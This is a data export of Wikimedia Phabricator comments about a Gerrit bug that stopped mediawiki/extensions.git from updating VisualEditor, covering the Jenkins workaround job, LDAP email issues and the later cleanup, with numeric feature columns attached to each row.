+730024,mediawiki/extensions.git does not update some extensions,"Change 311161 had a related patch set uploaded (by Hashar):
+contint: drop now unused sudo rule
+
+[[https://gerrit.wikimedia.org/r/311161]]
+",,,1474047362,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,167,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+725520,mediawiki/extensions.git does not update some extensions,"Change 309275 merged by Giuseppe Lavagetto:
+ci::master: drop mwext-sync leftover
+
+[[https://gerrit.wikimedia.org/r/309275]]",,,1473409160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,166,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+725137,mediawiki/extensions.git does not update some extensions,"Change 309272 merged by jenkins-bot:
+Remove VE script to sync the Gerrit repo
+
+[[https://gerrit.wikimedia.org/r/309272]]",,,1473361798,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,166,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+724762,mediawiki/extensions.git does not update some extensions,"This is confirmed to have been fixed when we have upgraded to Gerrit 2.12.
+
+The workaround script and Jenkins job have been removed end of July, the recent changes I have sent above are merely for clean up.",,,1473329510,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,166,,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+724761,mediawiki/extensions.git does not update some extensions,"Change 309275 had a related patch set uploaded (by Hashar):
+ci::master: drop mwext-sync leftover
+
+[[https://gerrit.wikimedia.org/r/309275]]
+",,,1473329426,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,166,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+724760,mediawiki/extensions.git does not update some extensions,"Change 309272 had a related patch set uploaded (by Hashar):
+Remove VE script to sync the Gerrit repo
+
+[[https://gerrit.wikimedia.org/r/309272]]
+",,,1473329159,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,166,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+724758,mediawiki/extensions.git does not update some extensions,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVcJQJLzaH8PnNb4D6OE} [2016-09-08T10:03:29Z] <hashar> Delete Jenkins job https://integration.wikimedia.org/ci/job/mwext-VisualEditor-sync-gerrit/ that has been left behind. It is no more needed. T51846 T86659",,,1473329009,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,166,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1
+724755,mediawiki/extensions.git does not update some extensions,"{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVcJP0y9pirJUPGy-5YX} [2016-09-08T10:02:05Z] <hashar> Delete mwext-VisualEditor-sync-gerrit job, already got removed by ostriches in 139d17c8f1c4bcf2bb761e13a6501e4d85684066 . The issue in Gerrit (T51846) has been fixed. Poke T86659 , one less job on slaves. ",,,1473328926,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,166,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1
+676263,mediawiki/extensions.git does not update some extensions,"Fixed in https://gerrit-review.googlesource.com/#/c/69891/
+
+Upgrading to gerrit 2.12 which will happen soon will fix the problem.",,,1465398703,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,153,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+604483,mediawiki/extensions.git does not update some extensions,Upstream bug is https://code.google.com/p/gerrit/issues/detail?id=2393,,,1454694024,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,135,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+603339,mediawiki/extensions.git does not update some extensions,Same issue with `Cards` and `mediawiki/extensions/Cards` at T125182,,,1454594877,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,135,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+254342,mediawiki/extensions.git does not update some extensions,"After much madness, this is now fixed. I had to write a bunch of shell slave scripts to let us properly push the VE update change to mediawiki/extensions.git and self merge them.
+
+The job is:
+
+ https://integration.wikimedia.org/ci/job/mwext-VisualEditor-sync-gerrit/
+
+It managed to merge an update a few minutes ago:
+
+ https://gerrit.wikimedia.org/r/#/c/109113/
+
+
+I guess the issue is fixed now. Sorry for the long time it took to get this fixed.",,,1390501982,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,29,,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0
+254337,mediawiki/extensions.git does not update some extensions,"Change 108837 merged by jenkins-bot:
+mwext-VisualEditor-sync-gerrit on master branch only
+
+https://gerrit.wikimedia.org/r/108837",,,1390341294,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+254334,mediawiki/extensions.git does not update some extensions,"Change 108837 had a related patch set uploaded by Hashar:
+mwext-VisualEditor-sync-gerrit on master branch only
+
+https://gerrit.wikimedia.org/r/108837",,,1390341257,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254331,mediawiki/extensions.git does not update some extensions,"Change 108810 merged by jenkins-bot:
+trigger mwext-VisualEditor-sync-gerrit on postmerge
+
+https://gerrit.wikimedia.org/r/108810",,,1390334487,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+254327,mediawiki/extensions.git does not update some extensions,"Change 108810 had a related patch set uploaded by Hashar:
+trigger mwext-VisualEditor-sync-gerrit on postmerge
+
+https://gerrit.wikimedia.org/r/108810",,,1390334462,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,29,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254323,mediawiki/extensions.git does not update some extensions,"The Gerrit replication got fixed last week.  The bot was not able to connect because Gerrit cache accounts credential indefinitely (lowered to 7 days by Chad with https://gerrit.wikimedia.org/r/#/c/108715/ ).
+
+I did a few tweaks to adjust the shell script and granted jenkins-bot the ability to CR+2 and V+2 on mediawiki/extensions.git .
+
+The first change that self merged is https://gerrit.wikimedia.org/r/#/c/108732/
+
+Gotta add triggers in Zuul.",,,1390332631,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,29,,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+254319,mediawiki/extensions.git does not update some extensions,"When jenkins-bot push to Gerrit, Gerrit fetch the email address of the user from the LDAP directory and compare it to the Commiter field of each commit being pushed.
+
+Gerrit points to LDAP server virt1000 which is no more replicated from virt1.  Hence the jenkins-bot record known to virt1000 is still lacking the email field and thus Gerrit thinks jenkins-bot has no email.
+
+
+This is thus blocked until the virt1 -> virt1000 LDAP replication is fixed.",,,1389991554,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,28,,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1
+254313,mediawiki/extensions.git does not update some extensions,"Still failing :(
+
+https://integration.wikimedia.org/ci/job/mwext-VisualEditor-sync-gerrit/9/console",,,1389942210,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0
+254306,mediawiki/extensions.git does not update some extensions,I've manually updated the database until LDAP gets back in sync. You *should* be able to push now.,,,1389910865,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+254300,mediawiki/extensions.git does not update some extensions,"Gerrit still believe that jenkins-bot user does not have any email address despite the address being shown in virt0 LDAP.
+
+The suspect is that the LDAP replication to virt1000 is broken and that is the server Gerrit is using as a primary.
+
+Whenever Gerrit learns about jenkins-bot user, the script I wrote should be able to push its change.
+
+
+The last build I triggered ( https://integration.wikimedia.org/ci/job/mwext-VisualEditor-sync-gerrit/8/console ) yields:
+
+7:14:47 remote: ERROR:  In commit c414977bcdbcbdf6331d9fe2e627bc0768695966
+17:14:47 remote: ERROR:  committer email address jenkins-bot@wikimedia.org
+17:14:47 remote: ERROR:  does not match your user account.
+17:14:47 remote: ERROR:
+17:14:47 remote: ERROR:  You have not registered any email addresses.",,,1389909836,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,28,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+254296,mediawiki/extensions.git does not update some extensions,"I have added a couple Jenkins slave scripts in integration/jenkins.git 
+
+ bin/gerrit-sync-ve.sh
+ bin/gerrit-sync-ve-push.sh
+
+That would update the VisualEditor on a local copy of mediawiki/extensions.git
+
+Then had to get a jenkins-bot@wikimedia.org email address registered and assigned to the jenkins-bot Gerrit user.
+
+
+The job mwext-VisualEditor-sync-gerrit still needs to be triggered by Zuul on postmerge.  That is an easy change though. Will do whenever I am sure the job is working properly.",,,1389892786,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,28,,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+254291,mediawiki/extensions.git does not update some extensions,"Change 107862 merged by jenkins-bot:
+mwext-VisualEditor-sync-gerrit
+
+https://gerrit.wikimedia.org/r/107862",,,1389891995,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+254287,mediawiki/extensions.git does not update some extensions,"Change 107862 had a related patch set uploaded by Hashar:
+mwext-VisualEditor-sync-gerrit
+
+https://gerrit.wikimedia.org/r/107862",,,1389891791,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254283,mediawiki/extensions.git does not update some extensions,"Change 107853 merged by Andrew Bogott:
+contint: invoke gerrit-sync-ve-push.sh as jenkins
+
+https://gerrit.wikimedia.org/r/107853",,,1389886128,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+254280,mediawiki/extensions.git does not update some extensions,"Change 107853 had a related patch set uploaded by Hashar:
+contint: invoke gerrit-sync-ve-push.sh as jenkins
+
+https://gerrit.wikimedia.org/r/107853",,,1389885751,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254276,mediawiki/extensions.git does not update some extensions,"Change 107841 merged by jenkins-bot:
+Script to sync VisualEditor in mediawiki/extensions.git
+
+https://gerrit.wikimedia.org/r/107841",,,1389882277,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+254271,mediawiki/extensions.git does not update some extensions,"Change 107841 had a related patch set uploaded by Hashar:
+Script to sync VisualEditor in mediawiki/extensions.git
+
+https://gerrit.wikimedia.org/r/107841",,,1389882267,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254264,mediawiki/extensions.git does not update some extensions,"Change 107575 abandoned by Hashar:
+beta: pull VisualEditor individually
+
+Reason:
+Per Chad, will use a Jenkins job to update mediawiki/extensions.git
+
+https://gerrit.wikimedia.org/r/107575",,,1389866906,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254259,mediawiki/extensions.git does not update some extensions,"Change 107574 abandoned by Hashar:
+unregister VisualEditor (replication broken in Gerrit)
+
+Reason:
+Per Chad, will use a Jenkins job to update mediawiki/extensions.git
+
+https://gerrit.wikimedia.org/r/107574",,,1389866900,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254254,mediawiki/extensions.git does not update some extensions,"The patches above:
+
+1) unregister VisualEditor from mediawiki/extensions.git since it is broken anyway
+2) make the wmf-beta-autoupdater script to use git pull to refresh the repository",,,1389796145,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,28,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+254249,mediawiki/extensions.git does not update some extensions,"Change 107575 had a related patch set uploaded by Hashar:
+beta: pull VisualEditor individually
+
+https://gerrit.wikimedia.org/r/107575",,,1389796012,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254247,mediawiki/extensions.git does not update some extensions,"Change 107574 had a related patch set uploaded by Hashar:
+unregister VisualEditor (replication broken in Gerrit)
+
+https://gerrit.wikimedia.org/r/107574",,,1389795448,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254244,mediawiki/extensions.git does not update some extensions,"(In reply to comment #29)
+> (In reply to comment #28)
+> > We need to do this as a post-merge job in Jenkins for updating the meta-repo.
+> > The Beta config should be able to remain as-is.
+> 
+> I am not sure we could do a post-merge job since Zuul does not support
+> triggering a job according to a project wildcard such as
+> mediawiki/extensions/*
+> 
+
+We don't need to for all repos. Just VisualEditor since it's broken. So we'd adjust the VE zuul/jenkins config to update mediawiki/extensions.git after VE merges.
+
+> 
+> I thought we could adapt the 6 minutes wmf-beta-autoupdater.py script, make
+> it
+> fetch the list of extensions generated at:
+> https://gerrit.wikimedia.org/mediawiki-extensions.txt  then do a git
+> submodule
+> add on all of them and then update them all.
+
+Ew. I'd rather keep everything else as it is, keep the workaround to one place (the VE zuul/jenkins config) until the upstream fix takes place. No need to change our infrastructure.",,,1389722159,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1
+254241,mediawiki/extensions.git does not update some extensions,"(In reply to comment #28)
+> We need to do this as a post-merge job in Jenkins for updating the meta-repo.
+> The Beta config should be able to remain as-is.
+
+I am not sure we could do a post-merge job since Zuul does not support triggering a job according to a project wildcard such as mediawiki/extensions/*
+
+
+I thought we could adapt the 6 minutes wmf-beta-autoupdater.py script, make it fetch the list of extensions generated at: https://gerrit.wikimedia.org/mediawiki-extensions.txt  then do a git submodule add on all of them and then update them all.",,,1389720044,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,28,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1
+254238,mediawiki/extensions.git does not update some extensions,We need to do this as a post-merge job in Jenkins for updating the meta-repo. The Beta config should be able to remain as-is.,,,1389653054,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,False,,,28,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+254233,mediawiki/extensions.git does not update some extensions,Assigning to self and moving to CI,,,1389652979,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-7sbdbkrfcvaejzeycoty,task_subcomment,,True,c1,3,True,,,28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+254227,mediawiki/extensions.git does not update some extensions,"The root cause is that there are two Gerrit projects being named VisualEditor and there is a bug in Gerrit that get it confused about that and break the automatic update of mediawiki/extensions.git
+
